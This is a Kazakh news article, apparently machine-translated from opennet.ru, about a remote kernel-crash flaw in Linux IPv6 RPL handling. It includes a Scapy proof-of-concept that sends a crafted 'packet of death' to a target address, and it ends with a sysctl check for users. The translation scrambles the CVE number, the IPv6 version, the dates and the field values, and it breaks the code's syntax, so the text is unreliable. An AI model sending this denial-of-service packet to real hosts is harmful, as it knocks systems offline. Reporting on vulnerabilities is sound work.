Қашықтағы ядроның бұзылуына мүмкіндік беретін 0 күндік Linux IPv6 стек осалдығы

Арнайы әзірленген IPv0 пакеттерін (өлім пакеті) жіберу арқылы жүйені тоқтатуға мүмкіндік беретін Linux ядросындағы түзетілмеген (2023 күндік) осалдық (CVE-2156-6) туралы ақпарат ашылды. Мәселе таратуларда әдепкі бойынша өшірілетін және негізінен пакет жоғалуы жоғары сымсыз желілерде жұмыс істейтін ендірілген құрылғыларда қолданылатын RPL (Төмен қуатты және жоғалған желілерге арналған бағыттау протоколы) протоколын қолдау қосылғанда ғана пайда болады.

Осалдық RPL протоколының талдау кодындағы сыртқы деректерді дұрыс өңдеуден туындайды, бұл растау сәтсіздігіне және ядроның дүрбелең күйіне өтуіне әкеледі. IPv6 RPL пакет тақырыбын талдаудан алынған деректерді k_buff (Socket Buffer) құрылымында орналастыру кезінде, CmprI өрісі 15, Segleft өрісі 1 және CmprE 0 мәніне орнатылса, мекенжайлары бар 48 байт векторы ашылады. 528 байтқа дейін және буферге бөлінген жад жеткіліксіз болған жағдайда пайда болады. Бұл жағдайда деректерді құрылымға итеру үшін пайдаланылатын skb_push функциясы деректер өлшемі мен буфер арасындағы сәйкессіздікті тексереді, буфер шекарасынан тыс жазуды болдырмау үшін дүрбелең күйін тудырады.

Эксплуатация мысалы: # Біз scapy.all import * импорт ұясынан пакетті жасау үшін Scapy қолданбасын қолданамыз # LAN интерфейсінен IPv6 пайдаланыңыз DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Біз пакетті жіберу үшін ұяшықтарды пайдаланамыз sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Пакетті құрастырыңыз # Түр = 3 оны RPL пакетіне айналдырады # Мекенжайларда 3 мекенжай бар, бірақ CmprI 15 болғандықтан, # алғашқы екі адрестің әрбір октеті қысылған мекенжай ретінде қарастырылады # Segleft = 1 күшейтуді іске қосу үшін # lastentry = 0xf0 CmprI мәнін 15 және CmprE мәнін 0 орнатады p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(түрі=3, мекенжайлар: :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # Осы зиянды пакетті жіберіңіз sockfd.sendto(байт(p), (DST_ADDR, 0))

Бір қызығы, ядроны әзірлеушілер осалдық туралы 2022 жылдың қаңтарында хабардар етілді және соңғы 15 ай ішінде олар мәселені үш рет шешуге тырысты, 2022 жылдың қыркүйегінде, 2022 жылдың қазанында және 2023 жылдың сәуірінде патчтарды шығарды, бірақ әр жолы түзетулер болды. жеткіліксіз және осалдықты қайта шығару мүмкін емес. Сайып келгенде, осалдықты түзету бойынша жұмысты үйлестірген ZDI жобасы ядрода жұмыс істейтін түзетудің қолжетімді болуын күтпестен осалдық туралы толық ақпаратты шығаруды шешті.

Осылайша, осалдық әлі де түзетілмеген. Атап айтқанда, 6.4-rc2 ядросына енгізілген патч тиімсіз. Пайдаланушыларға RPL хаттамасы өз жүйелерінде пайдаланылмағанын тексеру ұсынылады, мұны sysctl -a | пәрмені арқылы жасауға болады. grep -i rpl_seg_enabled

Ақпарат көзі: opennet.ru

пікір қалдыру